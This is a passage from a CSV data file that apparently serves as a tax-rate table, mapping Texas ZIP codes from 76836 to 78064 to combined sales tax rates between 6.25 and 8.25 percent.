US-TX-76836,US,TX,76836,8.25,,,, US-TX-76837,US,TX,76837,6.75,,,, US-TX-76841,US,TX,76841,6.75,,,, US-TX-76842,US,TX,76842,7.25,,,, US-TX-76844,US,TX,76844,8.25,,,, US-TX-76845,US,TX,76845,6.25,,,, US-TX-76848,US,TX,76848,6.75,,,, US-TX-76849,US,TX,76849,8.25,,,, US-TX-76852,US,TX,76852,7,,,, US-TX-76853,US,TX,76853,6.75,,,, US-TX-76854,US,TX,76854,6.75,,,, US-TX-76855,US,TX,76855,6.75,,,, US-TX-76856,US,TX,76856,7.25,,,, US-TX-76857,US,TX,76857,6.25,,,, US-TX-76858,US,TX,76858,8,,,, US-TX-76859,US,TX,76859,6.75,,,, US-TX-76861,US,TX,76861,6.75,,,, US-TX-76862,US,TX,76862,6.75,,,, US-TX-76864,US,TX,76864,6.25,,,, US-TX-76865,US,TX,76865,6.75,,,, US-TX-76866,US,TX,76866,6.75,,,, US-TX-76869,US,TX,76869,6.25,,,, US-TX-76870,US,TX,76870,6.25,,,, US-TX-76871,US,TX,76871,6.75,,,, US-TX-76872,US,TX,76872,7,,,, US-TX-76873,US,TX,76873,6.25,,,, US-TX-76874,US,TX,76874,6.25,,,, US-TX-76875,US,TX,76875,6.75,,,, US-TX-76877,US,TX,76877,8.25,,,, US-TX-76878,US,TX,76878,8.25,,,, US-TX-76882,US,TX,76882,6.25,,,, US-TX-76883,US,TX,76883,6.75,,,, US-TX-76884,US,TX,76884,6.25,,,, US-TX-76885,US,TX,76885,6.25,,,, US-TX-76886,US,TX,76886,6.75,,,, US-TX-76887,US,TX,76887,7,,,, US-TX-76888,US,TX,76888,6.25,,,, US-TX-76890,US,TX,76890,6.25,,,, US-TX-76901,US,TX,76901,8.25,,,, US-TX-76902,US,TX,76902,8.25,,,, US-TX-76903,US,TX,76903,8.25,,,, US-TX-76904,US,TX,76904,8.25,,,, US-TX-76905,US,TX,76905,6.75,,,, US-TX-76906,US,TX,76906,8.25,,,, US-TX-76908,US,TX,76908,8.25,,,, US-TX-76909,US,TX,76909,8.25,,,, US-TX-76930,US,TX,76930,6.25,,,, US-TX-76932,US,TX,76932,8.25,,,, US-TX-76933,US,TX,76933,8.25,,,, US-TX-76934,US,TX,76934,6.75,,,, US-TX-76935,US,TX,76935,6.75,,,, US-TX-76936,US,TX,76936,8.25,,,, US-TX-76937,US,TX,76937,6.75,,,, US-TX-76939,US,TX,76939,6.75,,,, US-TX-76940,US,TX,76940,6.75,,,, US-TX-76941,US,TX,76941,6.25,,,, US-TX-76943,US,TX,76943,6.25,,,, US-TX-76945,US,TX,76945,6.25,,,, US-TX-76950,US,TX,76950,8,,,, US-TX-76951,US,TX,76951,7.75,,,, US-TX-76953,US,TX,76953,6.25,,,, US-TX-76955,US,TX,76955,6.75,,,, US-TX-76957,US,TX,76957,6.75,,,, US-TX-76958,US,TX,76958,6.75,,,, US-TX-77001,US,TX,77001,8.25,,,, US-TX-77002,US,TX,77002,8.25,,,, US-TX-77003,US,TX,77003,8.25,,,, US-TX-77004,US,TX,77004,8.25,,,, US-TX-77005,US,TX,77005,8.25,,,, US-TX-77006,US,TX,77006,8.25,,,, US-TX-77007,US,TX,77007,8.25,,,, US-TX-77008,US,TX,77008,8.25,,,, US-TX-77009,US,TX,77009,8.25,,,, US-TX-77010,US,TX,77010,8.25,,,, US-TX-77011,US,TX,77011,8.25,,,, US-TX-77012,US,TX,77012,8.25,,,, US-TX-77013,US,TX,77013,8.25,,,, US-TX-77014,US,TX,77014,8.25,,,, US-TX-77015,US,TX,77015,7.25,,,, US-TX-77016,US,TX,77016,8.25,,,, US-TX-77017,US,TX,77017,8.25,,,, US-TX-77018,US,TX,77018,8.25,,,, US-TX-77019,US,TX,77019,8.25,,,, US-TX-77020,US,TX,77020,8.25,,,, US-TX-77021,US,TX,77021,8.25,,,, US-TX-77022,US,TX,77022,8.25,,,, US-TX-77023,US,TX,77023,8.25,,,, US-TX-77024,US,TX,77024,8.25,,,, US-TX-77025,US,TX,77025,8.25,,,, US-TX-77026,US,TX,77026,8.25,,,, US-TX-77027,US,TX,77027,8.25,,,, US-TX-77028,US,TX,77028,8.25,,,, US-TX-77029,US,TX,77029,8.25,,,, US-TX-77030,US,TX,77030,8.25,,,, US-TX-77031,US,TX,77031,8.25,,,, US-TX-77032,US,TX,77032,8.25,,,, US-TX-77033,US,TX,77033,8.25,,,, US-TX-77034,US,TX,77034,8.25,,,, US-TX-77035,US,TX,77035,8.25,,,, US-TX-77036,US,TX,77036,8.25,,,, US-TX-77037,US,TX,77037,8.25,,,, US-TX-77038,US,TX,77038,8.25,,,, US-TX-77039,US,TX,77039,8.25,,,, US-TX-77040,US,TX,77040,8.25,,,, US-TX-77041,US,TX,77041,8.25,,,, US-TX-77042,US,TX,77042,8.25,,,, US-TX-77043,US,TX,77043,8.25,,,, US-TX-77044,US,TX,77044,8.25,,,, US-TX-77045,US,TX,77045,8.25,,,, US-TX-77046,US,TX,77046,8.25,,,, US-TX-77047,US,TX,77047,8.25,,,, US-TX-77048,US,TX,77048,8.25,,,, US-TX-77049,US,TX,77049,8.25,,,, US-TX-77050,US,TX,77050,6.25,,,, US-TX-77051,US,TX,77051,8.25,,,, US-TX-77052,US,TX,77052,8.25,,,, US-TX-77053,US,TX,77053,8.25,,,, US-TX-77054,US,TX,77054,8.25,,,, US-TX-77055,US,TX,77055,8.25,,,, US-TX-77056,US,TX,77056,8.25,,,, US-TX-77057,US,TX,77057,8.25,,,, US-TX-77058,US,TX,77058,8.25,,,, US-TX-77059,US,TX,77059,8.25,,,, US-TX-77060,US,TX,77060,8.25,,,, US-TX-77061,US,TX,77061,8.25,,,, US-TX-77062,US,TX,77062,8.25,,,, US-TX-77063,US,TX,77063,8.25,,,, US-TX-77064,US,TX,77064,8.25,,,, US-TX-77065,US,TX,77065,8.25,,,, US-TX-77066,US,TX,77066,8.25,,,, US-TX-77067,US,TX,77067,8.25,,,, US-TX-77068,US,TX,77068,7.25,,,, US-TX-77069,US,TX,77069,8.25,,,, US-TX-77070,US,TX,77070,7.25,,,, US-TX-77071,US,TX,77071,8.25,,,, US-TX-77072,US,TX,77072,8.25,,,, US-TX-77073,US,TX,77073,7.25,,,, US-TX-77074,US,TX,77074,8.25,,,, US-TX-77075,US,TX,77075,8.25,,,, US-TX-77076,US,TX,77076,8.25,,,, US-TX-77077,US,TX,77077,8.25,,,, US-TX-77078,US,TX,77078,8.25,,,, US-TX-77079,US,TX,77079,8.25,,,, US-TX-77080,US,TX,77080,8.25,,,, US-TX-77081,US,TX,77081,8.25,,,, US-TX-77082,US,TX,77082,8.25,,,, US-TX-77083,US,TX,77083,8.25,,,, US-TX-77084,US,TX,77084,8.25,,,, US-TX-77085,US,TX,77085,8.25,,,, US-TX-77086,US,TX,77086,8.25,,,, US-TX-77087,US,TX,77087,8.25,,,, US-TX-77088,US,TX,77088,8.25,,,, US-TX-77089,US,TX,77089,8.25,,,, US-TX-77090,US,TX,77090,8.25,,,, US-TX-77091,US,TX,77091,8.25,,,, US-TX-77092,US,TX,77092,8.25,,,, US-TX-77093,US,TX,77093,8.25,,,, US-TX-77094,US,TX,77094,7.25,,,, US-TX-77095,US,TX,77095,8.25,,,, US-TX-77096,US,TX,77096,8.25,,,, US-TX-77098,US,TX,77098,8.25,,,, US-TX-77099,US,TX,77099,8.25,,,, US-TX-77201,US,TX,77201,8.25,,,, US-TX-77202,US,TX,77202,8.25,,,, US-TX-77203,US,TX,77203,8.25,,,, US-TX-77204,US,TX,77204,8.25,,,, US-TX-77205,US,TX,77205,8.25,,,, US-TX-77206,US,TX,77206,8.25,,,, US-TX-77207,US,TX,77207,8.25,,,, US-TX-77208,US,TX,77208,8.25,,,, US-TX-77209,US,TX,77209,8.25,,,, US-TX-77210,US,TX,77210,8.25,,,, US-TX-77212,US,TX,77212,8.25,,,, US-TX-77213,US,TX,77213,8.25,,,, US-TX-77215,US,TX,77215,8.25,,,, US-TX-77216,US,TX,77216,8.25,,,, US-TX-77217,US,TX,77217,8.25,,,, US-TX-77218,US,TX,77218,8.25,,,, US-TX-77219,US,TX,77219,8.25,,,, US-TX-77220,US,TX,77220,8.25,,,, US-TX-77221,US,TX,77221,8.25,,,, US-TX-77222,US,TX,77222,8.25,,,, US-TX-77223,US,TX,77223,8.25,,,, US-TX-77224,US,TX,77224,8.25,,,, US-TX-77225,US,TX,77225,8.25,,,, US-TX-77226,US,TX,77226,8.25,,,, US-TX-77227,US,TX,77227,8.25,,,, US-TX-77228,US,TX,77228,8.25,,,, US-TX-77229,US,TX,77229,8.25,,,, US-TX-77230,US,TX,77230,8.25,,,, US-TX-77231,US,TX,77231,8.25,,,, US-TX-77233,US,TX,77233,8.25,,,, US-TX-77234,US,TX,77234,8.25,,,, US-TX-77235,US,TX,77235,8.25,,,, US-TX-77236,US,TX,77236,8.25,,,, US-TX-77237,US,TX,77237,8.25,,,, US-TX-77238,US,TX,77238,8.25,,,, US-TX-77240,US,TX,77240,8.25,,,, US-TX-77241,US,TX,77241,8.25,,,, US-TX-77242,US,TX,77242,8.25,,,, US-TX-77243,US,TX,77243,8.25,,,, US-TX-77244,US,TX,77244,8.25,,,, US-TX-77245,US,TX,77245,8.25,,,, US-TX-77248,US,TX,77248,8.25,,,, US-TX-77249,US,TX,77249,8.25,,,, US-TX-77251,US,TX,77251,8.25,,,, US-TX-77252,US,TX,77252,8.25,,,, US-TX-77253,US,TX,77253,8.25,,,, US-TX-77254,US,TX,77254,8.25,,,, US-TX-77255,US,TX,77255,8.25,,,, US-TX-77256,US,TX,77256,8.25,,,, US-TX-77257,US,TX,77257,8.25,,,, US-TX-77258,US,TX,77258,8.25,,,, US-TX-77259,US,TX,77259,8.25,,,, US-TX-77261,US,TX,77261,8.25,,,, US-TX-77262,US,TX,77262,8.25,,,, US-TX-77263,US,TX,77263,8.25,,,, US-TX-77265,US,TX,77265,8.25,,,, US-TX-77266,US,TX,77266,8.25,,,, US-TX-77267,US,TX,77267,8.25,,,, US-TX-77268,US,TX,77268,8.25,,,, US-TX-77269,US,TX,77269,8.25,,,, US-TX-77270,US,TX,77270,8.25,,,, US-TX-77271,US,TX,77271,8.25,,,, US-TX-77272,US,TX,77272,8.25,,,, US-TX-77273,US,TX,77273,8.25,,,, US-TX-77274,US,TX,77274,8.25,,,, US-TX-77275,US,TX,77275,8.25,,,, US-TX-77277,US,TX,77277,8.25,,,, US-TX-77279,US,TX,77279,8.25,,,, US-TX-77280,US,TX,77280,8.25,,,, US-TX-77282,US,TX,77282,8.25,,,, US-TX-77284,US,TX,77284,8.25,,,, US-TX-77287,US,TX,77287,8.25,,,, US-TX-77288,US,TX,77288,8.25,,,, US-TX-77289,US,TX,77289,8.25,,,, US-TX-77290,US,TX,77290,8.25,,,, US-TX-77291,US,TX,77291,8.25,,,, US-TX-77292,US,TX,77292,8.25,,,, US-TX-77293,US,TX,77293,8.25,,,, US-TX-77297,US,TX,77297,8.25,,,, US-TX-77299,US,TX,77299,8.25,,,, US-TX-77301,US,TX,77301,8.25,,,, US-TX-77302,US,TX,77302,8.25,,,, US-TX-77303,US,TX,77303,8.25,,,, US-TX-77304,US,TX,77304,8.25,,,, US-TX-77305,US,TX,77305,8.25,,,, US-TX-77306,US,TX,77306,8.25,,,, US-TX-77315,US,TX,77315,8.25,,,, US-TX-77316,US,TX,77316,8.25,,,, US-TX-77318,US,TX,77318,8.25,,,, US-TX-77320,US,TX,77320,6.75,,,, US-TX-77325,US,TX,77325,8.25,,,, US-TX-77326,US,TX,77326,6.75,,,, US-TX-77327,US,TX,77327,6.75,,,, US-TX-77328,US,TX,77328,7.25,,,, US-TX-77331,US,TX,77331,7.25,,,, US-TX-77332,US,TX,77332,6.75,,,, US-TX-77333,US,TX,77333,6.25,,,, US-TX-77334,US,TX,77334,6.75,,,, US-TX-77335,US,TX,77335,6.75,,,, US-TX-77336,US,TX,77336,8.25,,,, US-TX-77337,US,TX,77337,8.25,,,, US-TX-77338,US,TX,77338,8.25,,,, US-TX-77339,US,TX,77339,8.25,,,, US-TX-77340,US,TX,77340,8.25,,,, US-TX-77341,US,TX,77341,8.25,,,, US-TX-77342,US,TX,77342,8.25,,,, US-TX-77343,US,TX,77343,8.25,,,, US-TX-77344,US,TX,77344,8.25,,,, US-TX-77345,US,TX,77345,8.25,,,, US-TX-77346,US,TX,77346,7.25,,,, US-TX-77347,US,TX,77347,8.25,,,, US-TX-77348,US,TX,77348,8.25,,,, US-TX-77349,US,TX,77349,8.25,,,, US-TX-77350,US,TX,77350,6.75,,,, US-TX-77351,US,TX,77351,6.75,,,, US-TX-77353,US,TX,77353,8.25,,,, US-TX-77354,US,TX,77354,6.25,,,, US-TX-77355,US,TX,77355,6.25,,,, US-TX-77356,US,TX,77356,6.25,,,, US-TX-77357,US,TX,77357,8.25,,,, US-TX-77358,US,TX,77358,7.25,,,, US-TX-77359,US,TX,77359,7.25,,,, US-TX-77360,US,TX,77360,6.75,,,, US-TX-77362,US,TX,77362,6.25,,,, US-TX-77363,US,TX,77363,6.75,,,, US-TX-77364,US,TX,77364,7.25,,,, US-TX-77365,US,TX,77365,8.25,,,, US-TX-77367,US,TX,77367,8.25,,,, US-TX-77368,US,TX,77368,6.75,,,, US-TX-77369,US,TX,77369,6.75,,,, US-TX-77371,US,TX,77371,7.25,,,, US-TX-77372,US,TX,77372,7.75,,,, US-TX-77373,US,TX,77373,8.25,,,, US-TX-77374,US,TX,77374,6.25,,,, US-TX-77375,US,TX,77375,8.25,,,, US-TX-77376,US,TX,77376,6.25,,,, US-TX-77377,US,TX,77377,7.25,,,, US-TX-77378,US,TX,77378,8.25,,,, US-TX-77379,US,TX,77379,7.25,,,, US-TX-77380,US,TX,77380,8.25,,,, US-TX-77381,US,TX,77381,8.25,,,, US-TX-77382,US,TX,77382,8.25,,,, US-TX-77383,US,TX,77383,8.25,,,, US-TX-77384,US,TX,77384,8.25,,,, US-TX-77385,US,TX,77385,7.75,,,, US-TX-77386,US,TX,77386,7.25,,,, US-TX-77387,US,TX,77387,8.25,,,, US-TX-77388,US,TX,77388,8.25,,,, US-TX-77389,US,TX,77389,8.25,,,, US-TX-77391,US,TX,77391,8.25,,,, US-TX-77393,US,TX,77393,8.25,,,, US-TX-77396,US,TX,77396,7.25,,,, US-TX-77399,US,TX,77399,6.75,,,, US-TX-77401,US,TX,77401,8.25,,,, US-TX-77402,US,TX,77402,8.25,,,, US-TX-77404,US,TX,77404,8.25,,,, US-TX-77406,US,TX,77406,6.25,,,, US-TX-77407,US,TX,77407,7.25,,,, US-TX-77410,US,TX,77410,8.25,,,, US-TX-77411,US,TX,77411,8.25,,,, US-TX-77412,US,TX,77412,7.25,,,, US-TX-77413,US,TX,77413,7.25,,,, US-TX-77414,US,TX,77414,8.25,,,, US-TX-77415,US,TX,77415,6.25,,,, US-TX-77417,US,TX,77417,6.25,,,, US-TX-77418,US,TX,77418,6.75,,,, US-TX-77419,US,TX,77419,6.25,,,, US-TX-77420,US,TX,77420,6.75,,,, US-TX-77422,US,TX,77422,6.75,,,, US-TX-77423,US,TX,77423,6.25,,,, US-TX-77426,US,TX,77426,6.75,,,, US-TX-77428,US,TX,77428,6.25,,,, US-TX-77429,US,TX,77429,8.25,,,, US-TX-77430,US,TX,77430,6.75,,,, US-TX-77431,US,TX,77431,6.75,,,, US-TX-77432,US,TX,77432,6.75,,,, US-TX-77433,US,TX,77433,8.25,,,, US-TX-77434,US,TX,77434,8.25,,,, US-TX-77435,US,TX,77435,6.75,,,, US-TX-77436,US,TX,77436,6.75,,,, US-TX-77437,US,TX,77437,8.25,,,, US-TX-77440,US,TX,77440,6.25,,,, US-TX-77441,US,TX,77441,6.25,,,, US-TX-77442,US,TX,77442,7.25,,,, US-TX-77443,US,TX,77443,6.75,,,, US-TX-77444,US,TX,77444,6.25,,,, US-TX-77445,US,TX,77445,6.25,,,, US-TX-77446,US,TX,77446,8.25,,,, US-TX-77447,US,TX,77447,6.25,,,, US-TX-77448,US,TX,77448,6.75,,,, US-TX-77449,US,TX,77449,8.25,,,, US-TX-77450,US,TX,77450,7.25,,,, US-TX-77451,US,TX,77451,7.25,,,, US-TX-77452,US,TX,77452,6.75,,,, US-TX-77453,US,TX,77453,6.75,,,, US-TX-77454,US,TX,77454,6.75,,,, US-TX-77455,US,TX,77455,6.75,,,, US-TX-77456,US,TX,77456,6.25,,,, US-TX-77457,US,TX,77457,6.25,,,, US-TX-77458,US,TX,77458,6.25,,,, US-TX-77459,US,TX,77459,8.25,,,, US-TX-77460,US,TX,77460,7.25,,,, US-TX-77461,US,TX,77461,6.25,,,, US-TX-77463,US,TX,77463,6.75,,,, US-TX-77464,US,TX,77464,8.25,,,, US-TX-77465,US,TX,77465,8.25,,,, US-TX-77466,US,TX,77466,7.25,,,, US-TX-77467,US,TX,77467,6.75,,,, US-TX-77468,US,TX,77468,6.25,,,, US-TX-77469,US,TX,77469,6.25,,,, US-TX-77470,US,TX,77470,6.75,,,, US-TX-77471,US,TX,77471,8.25,,,, US-TX-77473,US,TX,77473,8.25,,,, US-TX-77474,US,TX,77474,6.75,,,, US-TX-77475,US,TX,77475,7.25,,,, US-TX-77476,US,TX,77476,8.25,,,, US-TX-77477,US,TX,77477,8.25,,,, US-TX-77478,US,TX,77478,8.25,,,, US-TX-77479,US,TX,77479,8.25,,,, US-TX-77480,US,TX,77480,6.75,,,, US-TX-77481,US,TX,77481,6.25,,,, US-TX-77482,US,TX,77482,6.25,,,, US-TX-77483,US,TX,77483,6.25,,,, US-TX-77484,US,TX,77484,6.25,,,, US-TX-77485,US,TX,77485,6.75,,,, US-TX-77486,US,TX,77486,6.75,,,, US-TX-77487,US,TX,77487,8.25,,,, US-TX-77488,US,TX,77488,8.25,,,, US-TX-77489,US,TX,77489,8.25,,,, US-TX-77491,US,TX,77491,8.25,,,, US-TX-77492,US,TX,77492,8.25,,,, US-TX-77493,US,TX,77493,8.25,,,, US-TX-77494,US,TX,77494,6.25,,,, US-TX-77496,US,TX,77496,8.25,,,, US-TX-77497,US,TX,77497,8.25,,,, US-TX-77498,US,TX,77498,6.25,,,, US-TX-77501,US,TX,77501,8.25,,,, US-TX-77502,US,TX,77502,8.25,,,, US-TX-77503,US,TX,77503,8.25,,,, US-TX-77504,US,TX,77504,8.25,,,, US-TX-77505,US,TX,77505,8.25,,,, US-TX-77506,US,TX,77506,8.25,,,, US-TX-77507,US,TX,77507,6.25,,,, US-TX-77508,US,TX,77508,8.25,,,, US-TX-77510,US,TX,77510,8.25,,,, US-TX-77511,US,TX,77511,8.25,,,, US-TX-77512,US,TX,77512,8.25,,,, US-TX-77514,US,TX,77514,6.75,,,, US-TX-77515,US,TX,77515,8.25,,,, US-TX-77516,US,TX,77516,8.25,,,, US-TX-77517,US,TX,77517,6.25,,,, US-TX-77518,US,TX,77518,6.25,,,, US-TX-77519,US,TX,77519,6.25,,,, US-TX-77520,US,TX,77520,8.25,,,, US-TX-77521,US,TX,77521,8.25,,,, US-TX-77522,US,TX,77522,8.25,,,, US-TX-77523,US,TX,77523,6.75,,,, US-TX-77530,US,TX,77530,7.25,,,, US-TX-77531,US,TX,77531,8.25,,,, US-TX-77532,US,TX,77532,8.25,,,, US-TX-77533,US,TX,77533,7.75,,,, US-TX-77534,US,TX,77534,7.75,,,, US-TX-77535,US,TX,77535,6.75,,,, US-TX-77536,US,TX,77536,7.75,,,, US-TX-77538,US,TX,77538,6.75,,,, US-TX-77539,US,TX,77539,8.25,,,, US-TX-77541,US,TX,77541,8.25,,,, US-TX-77542,US,TX,77542,8.25,,,, US-TX-77545,US,TX,77545,6.25,,,, US-TX-77546,US,TX,77546,7.75,,,, US-TX-77547,US,TX,77547,7.25,,,, US-TX-77549,US,TX,77549,7.75,,,, US-TX-77550,US,TX,77550,8.25,,,, US-TX-77551,US,TX,77551,8.25,,,, US-TX-77552,US,TX,77552,8.25,,,, US-TX-77553,US,TX,77553,8.25,,,, US-TX-77554,US,TX,77554,8.25,,,, US-TX-77555,US,TX,77555,8.25,,,, US-TX-77560,US,TX,77560,6.75,,,, US-TX-77561,US,TX,77561,7.75,,,, US-TX-77562,US,TX,77562,8.25,,,, US-TX-77563,US,TX,77563,8.25,,,, US-TX-77564,US,TX,77564,6.75,,,, US-TX-77565,US,TX,77565,8.25,,,, US-TX-77566,US,TX,77566,8.25,,,, US-TX-77568,US,TX,77568,8.25,,,, US-TX-77571,US,TX,77571,8.25,,,, US-TX-77572,US,TX,77572,8.25,,,, US-TX-77573,US,TX,77573,8,,,, US-TX-77574,US,TX,77574,8,,,, US-TX-77575,US,TX,77575,8.25,,,, US-TX-77577,US,TX,77577,6.75,,,, US-TX-77578,US,TX,77578,8.25,,,, US-TX-77580,US,TX,77580,8.25,,,, US-TX-77581,US,TX,77581,8.25,,,, US-TX-77582,US,TX,77582,6.75,,,, US-TX-77583,US,TX,77583,6.75,,,, US-TX-77584,US,TX,77584,8.25,,,, US-TX-77585,US,TX,77585,6.25,,,, US-TX-77586,US,TX,77586,8.25,,,, US-TX-77587,US,TX,77587,8.25,,,, US-TX-77588,US,TX,77588,8.25,,,, US-TX-77590,US,TX,77590,8.25,,,, US-TX-77591,US,TX,77591,8.25,,,, US-TX-77592,US,TX,77592,8.25,,,, US-TX-77597,US,TX,77597,6.75,,,, US-TX-77598,US,TX,77598,8.25,,,, US-TX-77611,US,TX,77611,8.25,,,, US-TX-77612,US,TX,77612,6.25,,,, US-TX-77613,US,TX,77613,8.25,,,, US-TX-77614,US,TX,77614,6.25,,,, US-TX-77615,US,TX,77615,6.25,,,, US-TX-77616,US,TX,77616,6.75,,,, US-TX-77617,US,TX,77617,6.25,,,, US-TX-77619,US,TX,77619,8.25,,,, US-TX-77622,US,TX,77622,6.75,,,, US-TX-77623,US,TX,77623,6.25,,,, US-TX-77624,US,TX,77624,6.75,,,, US-TX-77625,US,TX,77625,6.25,,,, US-TX-77626,US,TX,77626,6.75,,,, US-TX-77627,US,TX,77627,8.25,,,, US-TX-77629,US,TX,77629,7.75,,,, US-TX-77630,US,TX,77630,8.25,,,, US-TX-77631,US,TX,77631,8.25,,,, US-TX-77632,US,TX,77632,6.75,,,, US-TX-77639,US,TX,77639,6.75,,,, US-TX-77640,US,TX,77640,8.25,,,, US-TX-77641,US,TX,77641,8.25,,,, US-TX-77642,US,TX,77642,8.25,,,, US-TX-77643,US,TX,77643,8.25,,,, US-TX-77650,US,TX,77650,6.25,,,, US-TX-77651,US,TX,77651,8.25,,,, US-TX-77655,US,TX,77655,8.25,,,, US-TX-77656,US,TX,77656,6.25,,,, US-TX-77657,US,TX,77657,8.25,,,, US-TX-77659,US,TX,77659,6.25,,,, US-TX-77660,US,TX,77660,6.75,,,, US-TX-77661,US,TX,77661,8.125,,,, US-TX-77662,US,TX,77662,6.75,,,, US-TX-77663,US,TX,77663,6.25,,,, US-TX-77664,US,TX,77664,6.75,,,, US-TX-77665,US,TX,77665,8.125,,,, US-TX-77670,US,TX,77670,8.25,,,, US-TX-77701,US,TX,77701,8.25,,,, US-TX-77702,US,TX,77702,8.25,,,, US-TX-77703,US,TX,77703,8.25,,,, US-TX-77704,US,TX,77704,8.25,,,, US-TX-77705,US,TX,77705,8.25,,,, US-TX-77706,US,TX,77706,8.25,,,, US-TX-77707,US,TX,77707,8.25,,,, US-TX-77708,US,TX,77708,8.25,,,, US-TX-77709,US,TX,77709,8.25,,,, US-TX-77710,US,TX,77710,8.25,,,, US-TX-77713,US,TX,77713,6.75,,,, US-TX-77720,US,TX,77720,8.25,,,, US-TX-77725,US,TX,77725,8.25,,,, US-TX-77726,US,TX,77726,8.25,,,, US-TX-77801,US,TX,77801,8.25,,,, US-TX-77802,US,TX,77802,8.25,,,, US-TX-77803,US,TX,77803,8.25,,,, US-TX-77805,US,TX,77805,8.25,,,, US-TX-77806,US,TX,77806,8.25,,,, US-TX-77807,US,TX,77807,6.75,,,, US-TX-77808,US,TX,77808,6.75,,,, US-TX-77830,US,TX,77830,6.75,,,, US-TX-77831,US,TX,77831,6.75,,,, US-TX-77833,US,TX,77833,6.75,,,, US-TX-77834,US,TX,77834,8.25,,,, US-TX-77835,US,TX,77835,6.75,,,, US-TX-77836,US,TX,77836,6.75,,,, US-TX-77837,US,TX,77837,6.25,,,, US-TX-77838,US,TX,77838,6.75,,,, US-TX-77840,US,TX,77840,8.25,,,, US-TX-77841,US,TX,77841,8.25,,,, US-TX-77842,US,TX,77842,8.25,,,, US-TX-77843,US,TX,77843,8.25,,,, US-TX-77844,US,TX,77844,8.25,,,, US-TX-77845,US,TX,77845,8.25,,,, US-TX-77850,US,TX,77850,6.75,,,, US-TX-77852,US,TX,77852,6.75,,,, US-TX-77853,US,TX,77853,6.75,,,, US-TX-77855,US,TX,77855,6.75,,,, US-TX-77856,US,TX,77856,6.25,,,, US-TX-77857,US,TX,77857,6.75,,,, US-TX-77859,US,TX,77859,8.25,,,, US-TX-77861,US,TX,77861,6.75,,,, US-TX-77862,US,TX,77862,7.75,,,, US-TX-77863,US,TX,77863,6.75,,,, US-TX-77864,US,TX,77864,6.75,,,, US-TX-77865,US,TX,77865,6.75,,,, US-TX-77866,US,TX,77866,6.75,,,, US-TX-77867,US,TX,77867,6.25,,,, US-TX-77868,US,TX,77868,6.75,,,, US-TX-77870,US,TX,77870,6.25,,,, US-TX-77871,US,TX,77871,6.75,,,, US-TX-77872,US,TX,77872,6.75,,,, US-TX-77873,US,TX,77873,6.25,,,, US-TX-77875,US,TX,77875,8,,,, US-TX-77876,US,TX,77876,6.75,,,, US-TX-77878,US,TX,77878,8.25,,,, US-TX-77879,US,TX,77879,6.75,,,, US-TX-77880,US,TX,77880,6.75,,,, US-TX-77881,US,TX,77881,8.25,,,, US-TX-77882,US,TX,77882,6.25,,,, US-TX-77901,US,TX,77901,8.25,,,, US-TX-77902,US,TX,77902,8.25,,,, US-TX-77903,US,TX,77903,8.25,,,, US-TX-77904,US,TX,77904,8.25,,,, US-TX-77905,US,TX,77905,6.75,,,, US-TX-77950,US,TX,77950,7.25,,,, US-TX-77951,US,TX,77951,6.75,,,, US-TX-77954,US,TX,77954,8.25,,,, US-TX-77957,US,TX,77957,8.25,,,, US-TX-77960,US,TX,77960,6.25,,,, US-TX-77961,US,TX,77961,7.75,,,, US-TX-77962,US,TX,77962,6.75,,,, US-TX-77963,US,TX,77963,6.25,,,, US-TX-77964,US,TX,77964,6.25,,,, US-TX-77967,US,TX,77967,8.25,,,, US-TX-77968,US,TX,77968,6.75,,,, US-TX-77969,US,TX,77969,6.75,,,, US-TX-77970,US,TX,77970,7.75,,,, US-TX-77971,US,TX,77971,6.75,,,, US-TX-77973,US,TX,77973,6.75,,,, US-TX-77974,US,TX,77974,6.25,,,, US-TX-77975,US,TX,77975,6.25,,,, US-TX-77976,US,TX,77976,6.75,,,, US-TX-77977,US,TX,77977,6.75,,,, US-TX-77978,US,TX,77978,8.25,,,, US-TX-77979,US,TX,77979,8.25,,,, US-TX-77982,US,TX,77982,6.75,,,, US-TX-77983,US,TX,77983,8.25,,,, US-TX-77984,US,TX,77984,6.25,,,, US-TX-77986,US,TX,77986,6.25,,,, US-TX-77987,US,TX,77987,6.25,,,, US-TX-77988,US,TX,77988,6.75,,,, US-TX-77989,US,TX,77989,6.25,,,, US-TX-77990,US,TX,77990,6.25,,,, US-TX-77991,US,TX,77991,6.75,,,, US-TX-77993,US,TX,77993,6.25,,,, US-TX-77994,US,TX,77994,6.25,,,, US-TX-77995,US,TX,77995,6.25,,,, US-TX-78001,US,TX,78001,8.25,,,, US-TX-78002,US,TX,78002,6.75,,,, US-TX-78003,US,TX,78003,6.75,,,, US-TX-78004,US,TX,78004,6.75,,,, US-TX-78005,US,TX,78005,6.75,,,, US-TX-78006,US,TX,78006,6.75,,,, US-TX-78007,US,TX,78007,6.25,,,, US-TX-78008,US,TX,78008,6.75,,,, US-TX-78009,US,TX,78009,8.25,,,, US-TX-78010,US,TX,78010,6.75,,,, US-TX-78011,US,TX,78011,6.75,,,, US-TX-78012,US,TX,78012,6.75,,,, US-TX-78013,US,TX,78013,6.75,,,, US-TX-78014,US,TX,78014,8.25,,,, US-TX-78015,US,TX,78015,8.25,,,, US-TX-78016,US,TX,78016,6.75,,,, US-TX-78017,US,TX,78017,8.25,,,, US-TX-78019,US,TX,78019,8.25,,,, US-TX-78021,US,TX,78021,6.25,,,, US-TX-78022,US,TX,78022,6.75,,,, US-TX-78023,US,TX,78023,7.75,,,, US-TX-78024,US,TX,78024,6.75,,,, US-TX-78025,US,TX,78025,6.75,,,, US-TX-78026,US,TX,78026,8.25,,,, US-TX-78027,US,TX,78027,6.75,,,, US-TX-78028,US,TX,78028,8.25,,,, US-TX-78029,US,TX,78029,8.25,,,, US-TX-78039,US,TX,78039,6.75,,,, US-TX-78040,US,TX,78040,8.25,,,, US-TX-78041,US,TX,78041,8.25,,,, US-TX-78042,US,TX,78042,8.25,,,, US-TX-78043,US,TX,78043,8.25,,,, US-TX-78044,US,TX,78044,8.25,,,, US-TX-78045,US,TX,78045,8.25,,,, US-TX-78046,US,TX,78046,8.25,,,, US-TX-78049,US,TX,78049,8.25,,,, US-TX-78050,US,TX,78050,6.75,,,, US-TX-78052,US,TX,78052,6.75,,,, US-TX-78054,US,TX,78054,6.75,,,, US-TX-78055,US,TX,78055,6.75,,,, US-TX-78056,US,TX,78056,6.75,,,, US-TX-78057,US,TX,78057,6.75,,,, US-TX-78058,US,TX,78058,6.75,,,, US-TX-78059,US,TX,78059,6.75,,,, US-TX-78061,US,TX,78061,8.25,,,, US-TX-78062,US,TX,78062,6.75,,,, US-TX-78063,US,TX,78063,6.75,,,, US-TX-78064,US,TX,78064,8.25,,,, 